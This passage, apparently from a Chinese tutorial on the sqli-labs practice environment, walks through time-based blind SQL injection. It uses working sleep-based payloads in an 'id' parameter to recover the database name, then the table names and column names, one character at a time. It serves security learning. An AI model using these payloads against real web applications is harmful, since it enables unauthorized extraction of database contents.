?id=1' and if (length(database())=8,sleep(2),1) --+
可以看到延时响应了2s说明数据库的长度就是8!!! 爆数据
1
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),1) --+
第一位ASCII值为115,为s 第二位
1
?id=1' and if(ascii(substr(database(),2,1))=101,sleep(2),1) --+
就这样依次往下,更换第一位的大小依次往下求值得到数据库的名字:security.
三、爆表名
原理和上面的是一样的 第一位:ASCII值为117-(u)
1
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),1)--+
第二位:ASCII值为115-(s)
1
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(2),1)--+
就这样依次往下吧最后得到:emails/users
四、爆字段
第一个字:ASCII=105-(i)
1
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+
接下来只需要修改下面红标的值就可以了 第二个字:ASCII=100-(d) 可见第一列列名:id
第二列第一个字:ASCII=117-(u)
1
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1,1))=117,sleep(2),1)--+
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),2,1))=115,sleep(2),1)--+